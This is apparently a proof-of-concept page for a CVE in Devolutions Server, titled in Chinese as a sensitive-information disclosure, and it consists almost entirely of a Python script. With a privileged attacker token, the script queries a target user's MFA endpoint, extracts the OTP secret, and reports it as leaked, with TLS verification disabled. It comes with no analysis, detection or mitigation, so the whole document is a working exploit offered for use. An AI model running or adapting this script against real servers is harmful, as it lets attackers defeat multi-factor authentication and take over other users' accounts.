CVE-2026-4927 Devolutions Server敏感信息泄露

import requests import json # Target URL (Example) base_url = "https://target-server.com" api_endpoint = "/api/v1/users/{user_id}/mfa" # Attacker's credentials with user management privileges auth_token = "ATTACKER_JWT_TOKEN" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Target user ID to compromise target_user_id = "12345" try: # Send authenticated API request to fetch MFA settings response = requests.get(f"{base_url}{api_endpoint.format(user_id=target_user_id)}", headers=headers, verify=False) if response.status_code == 200: data = response.json() # Extract the sensitive OTP key from the response otp_secret = data.get('otpSecret') or data.get('mfa_secret') if otp_secret: print(f"[+] Successfully leaked OTP Key for user {target_user_id}: {otp_secret}") else: print("[-] OTP Key not found in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")